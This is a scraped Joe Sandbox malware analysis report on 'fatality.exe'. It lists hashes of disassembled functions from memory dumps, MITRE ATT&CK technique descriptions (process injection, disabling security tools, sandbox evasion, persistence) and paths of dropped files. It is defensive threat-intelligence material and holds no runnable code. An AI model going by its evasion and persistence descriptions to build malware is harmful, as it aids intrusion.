Opcode ID: 4a4c0e1c738514fd26714bb5c73a5590597ccf0b7e9a990b4d29772478015338
Instruction ID: 0e341ee5ead8f6b1d01daf2da396acd29288f6ec26dd1e62119d3b52bd52aba0
Opcode Fuzzy Hash: 4a4c0e1c738514fd26714bb5c73a5590597ccf0b7e9a990b4d29772478015338
Instruction Fuzzy Hash: 4631733090C65A8FDB46FB68C8599B97BF0FF5A350F4505BBC009E72A2DB39A841CB50

Function 00007FF848E60C25 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cdb18c8c02bf1153612e7a697d7eb6d139c8a36b8c4c6f06c490df6aa09da9aa
Instruction ID: e1716adb053d76196e3ee565fe82297acaa4391a127ba6d70fb3fd90ddfa0ad5
Opcode Fuzzy Hash: cdb18c8c02bf1153612e7a697d7eb6d139c8a36b8c4c6f06c490df6aa09da9aa
Instruction Fuzzy Hash: 5521EF7190C699AFE712FB68C8452EC7FA0FF423A0F5545BAC044AB1C2DB3829898795

Function 00007FF848E65534 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afed2b0bd37319d3596617c788645154cf78e4c6900a0da9614316893c93ac9d
Instruction ID: 5a5fb26b5a360e80a853b985bf0c795c75e97f94f7fe8126292690efb4c8a6ba
Opcode Fuzzy Hash: afed2b0bd37319d3596617c788645154cf78e4c6900a0da9614316893c93ac9d
Instruction Fuzzy Hash: C7113320E1CA1D4EE764BA1898592B872D1FF64350F9001B9D40EF72E3EF387D458649

Function 00007FF848E60C40 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: abf99f9d6da5f1ee9a06b15bf328e92f7abbe2fc998a25cf68453c51e3e1192b
Instruction ID: f014a9776ce4ace1c321e131a013213350cba038f7e64a5605fa89d0002d1555
Opcode Fuzzy Hash: abf99f9d6da5f1ee9a06b15bf328e92f7abbe2fc998a25cf68453c51e3e1192b
Instruction Fuzzy Hash: DD01A93190D7989FE702FB68C8402D9BFB0EF42260F1545E6C084EB292D6386A488B94

Function 00007FF848E60C48 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05b8f81623dcae733afc4ba835cf905964f673d098c8caed54aa53849524525a
Instruction ID: 5b81689088e1651b8ea27da21b17f62667958134c266d0842065b5076d6c5dd7
Opcode Fuzzy Hash: 05b8f81623dcae733afc4ba835cf905964f673d098c8caed54aa53849524525a
Instruction Fuzzy Hash: 4C015A7190D7889FE706EB78C844699BFB0EF42314F1945EAD044EB2A2D6386A48C795

Function 00007FF848E6566A Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 739d002ec5213039a5f7b98b8673b3be312f800da77b00de52093fa9fbd50bdc
Instruction ID: d9e9e5e114ba3435dc3cd7457d5a57069b717a1a9f1459f116fc6fd3c0df7d05
Opcode Fuzzy Hash: 739d002ec5213039a5f7b98b8673b3be312f800da77b00de52093fa9fbd50bdc
Instruction Fuzzy Hash: 63F0313090C91E8EEB64FA14DC486B873A2FF64351F9001B9D44EF7192EF387D958A08

Function 00007FF848E61A46 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0b99f64bb1fda51415b1bd59b0be423a4f8d25f5f54f5b84ab6c10860375941
Instruction ID: 9da98854f2cb1fa8bea063587dbf61646fcc54533b7e8b665480afad00e325f8
Opcode Fuzzy Hash: e0b99f64bb1fda51415b1bd59b0be423a4f8d25f5f54f5b84ab6c10860375941
Instruction Fuzzy Hash: E1011D31908918CFCB58EB18D894E9973F1FBA8310F0402A9D40EE72A1CB35AE80CF85

Function 00007FF848E60C50 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63f48097854e00b1a5efbafa16e2e13b220365cbaaa931434158e922177c1ea
Instruction ID: 1d494a934a9f4f92c3d2dbaecd3e8bb8dcd43c5ac94dc5e43bfe9a6d2a606513
Opcode Fuzzy Hash: b63f48097854e00b1a5efbafa16e2e13b220365cbaaa931434158e922177c1ea
Instruction Fuzzy Hash: 40014B7090D7C99FE706FB74884469DBFF0EF06314F1845E6D444EB292DA386A48C745

Function 00007FF848E60B77 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92b1d6e696249f69f5da86c40962c806f604502be92e693957885830a56fb57b
Instruction ID: 0463724105c59fff87dbdcdee3fb92fd12cc528830111bc805b7b8e71b0cb601
Opcode Fuzzy Hash: 92b1d6e696249f69f5da86c40962c806f604502be92e693957885830a56fb57b
Instruction Fuzzy Hash: 9AF0553020DA89CFC742AB3DC8A08D0BF60FF43204B8A00FAC088CB462C3245C5ECB00

Function 00007FF848E6563C Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 895523474eca11f6e4b9fbed8216664c3a21ebcb3f711ea33d7a945ed48ddad8
Instruction ID: 44e6ecc7956d6d1cc20c6e6cfc4d34b3b502825c445b06d011b98d177ef14cdb
Opcode Fuzzy Hash: 895523474eca11f6e4b9fbed8216664c3a21ebcb3f711ea33d7a945ed48ddad8
Instruction Fuzzy Hash: 5BF03030A0C9198EEA64F604DC486B87392FF64390F9011BAD84EF71A3EF387D858648

Function 00007FF848E750F8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1888bf6e437480996ae1d85926ff92840f5601654caf8fa09bc2938cb53e330
Instruction ID: ae13212347ed8cc53c8fee9a1c12988d5f76f718d961ce048dac64b6124c8fb0
Opcode Fuzzy Hash: b1888bf6e437480996ae1d85926ff92840f5601654caf8fa09bc2938cb53e330
Instruction Fuzzy Hash: F3D05E30B609094B8B0CB62D8858534B3D5F7AA2067D452B8940BC3281EE25ECC68B84

Function 00007FF848E633D1 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 840ea9db971bae5ca5a55bab3c63b7ccc2f8042cc0857c3fcf9c753694177ce7
Instruction ID: cadf967c029e486b9d6c9b0734e6fc60d261c9c85d6428012597e678f49e7799
Opcode Fuzzy Hash: 840ea9db971bae5ca5a55bab3c63b7ccc2f8042cc0857c3fcf9c753694177ce7
Instruction Fuzzy Hash: 0FE01A20F0D12A8FF795BA10C8503BD22A1BF85381F9450B9D86DB76E6CF387C818B49

Function 00007FF848E63759 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d4b0ec0cb579521c937719aef03f6e241a8416c45da66fe7cc87ba479518b0e
Instruction ID: 8576958cd4ac830fef12b803800038b9b0a2429590f4631019fefa52e676df46
Opcode Fuzzy Hash: 8d4b0ec0cb579521c937719aef03f6e241a8416c45da66fe7cc87ba479518b0e
Instruction Fuzzy Hash: 0BE01211E1C5554EF29DB56C44313B950C1BF98751F884179D41EF32C3DE5C3C400396

Function 00007FF848E606AD Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 323143e45dad86b09f48beb01337b17f3d2661350671268fcf99a56f238fe930
Instruction ID: 22c00e277981450ec3cfd80455c7aa1b3eb6fa9d4df6ebc78a5e847680a4518f
Opcode Fuzzy Hash: 323143e45dad86b09f48beb01337b17f3d2661350671268fcf99a56f238fe930
Instruction Fuzzy Hash: D6C08C00E5F53B08E445712E14020ACA2017BC42A0FD00032C02C700929EAD30C5034E

Function 00007FF848E60B18 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 679052432ff82eb440096a9787cbb4eb0fdac5f2628a477f2cc6cb2b7cc5e99a
Instruction ID: efbce210bacd50ef177f3dfb13d4aceba7f181afd6019f63510de32bdeb12342
Opcode Fuzzy Hash: 679052432ff82eb440096a9787cbb4eb0fdac5f2628a477f2cc6cb2b7cc5e99a
Instruction Fuzzy Hash: 39C04C305258098FC944FB6DC98995477A0FB1D215BD60190E40DC7171E66AEC95C745

Function 00007FF848E612E0 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d50836501c865efaa9cc7746ad9c52898e749de2a98b2e8a9a856be5527891
Instruction ID: 66eda309ea09482d7201f089046b183db6eb6a68ed1dc125f00a417f2063d7f1
Opcode Fuzzy Hash: b6d50836501c865efaa9cc7746ad9c52898e749de2a98b2e8a9a856be5527891
Instruction Fuzzy Hash: E0C08C309208088FC908FB28C88480433A0FB09200BC10090E008C7170E229ECD0C740

Function 00007FF848E657D9 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37303cdf7d5b2bfb168b25eecd740066e480b9093870f04996061f84b7bb6d1d
Instruction ID: 00c10bc96eaa50c40aa0e890c70e7b45a302af74adaf549488a77e9657abcfd6
Opcode Fuzzy Hash: 37303cdf7d5b2bfb168b25eecd740066e480b9093870f04996061f84b7bb6d1d
Instruction Fuzzy Hash: 7DC02B02F0DC169BF25F7204402027E0402DF80B44F844031E02EC33CACF0D2F0106CA

Function 00007FF848E79E2C Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e70000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b567058f7eec8211f091f5570d3c48fa7a9be4ca05688d63650a906f9a98df37
Instruction ID: 865005724ea984a9f10bb49a6285fe106a7e2a3011e3fa3f03cccf382a9b41f2
Opcode Fuzzy Hash: b567058f7eec8211f091f5570d3c48fa7a9be4ca05688d63650a906f9a98df37
Instruction Fuzzy Hash: C8D0C930C095588FEBA0EB14C840B9972B1BF48341F5001F6900DE3285CB356DC0CF81

Function 00007FF848E606D0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.2394242705.00007FF848E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_7ff848e60000_containerReview.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bca8a15959f7e0967de320f3aa0157698c38b87efa68259d0e12dbbb75d0c1cf
Instruction ID: 11f8d10550346e9f3a4f007398059a370a93a6d624c90b1792530cf415cde2e8
Opcode Fuzzy Hash: bca8a15959f7e0967de320f3aa0157698c38b87efa68259d0e12dbbb75d0c1cf
Instruction Fuzzy Hash: E5B01200CAE41F04E408317A094206470417BC4140FC00070D40C70086D9DD3094034A

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report fatality.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft\Edge\Application\CSC4E919528C4A844BA8820AEF1C7C5AE5.TMP

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

C:\Program Files\7-Zip\Lang\d81cfa058c78b8

C:\Program Files\7-Zip\Lang\mQBLhXIPAJ.exe

C:\Program Files\Windows Security\BrowserCore\en-US\d81cfa058c78b8

C:\Program Files\Windows Security\BrowserCore\en-US\mQBLhXIPAJ.exe

C:\ProgramData\dbg\containerReview.exe

C:\ProgramData\dbg\f71eea7c943fb4

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Templates\d81cfa058c78b8

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Templates\mQBLhXIPAJ.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\containerReview.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\mQBLhXIPAJ.exe.log

C:\Users\user\AppData\Local\Temp\2BGdjLelXV.bat

Windows Analysis Report
fatality.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre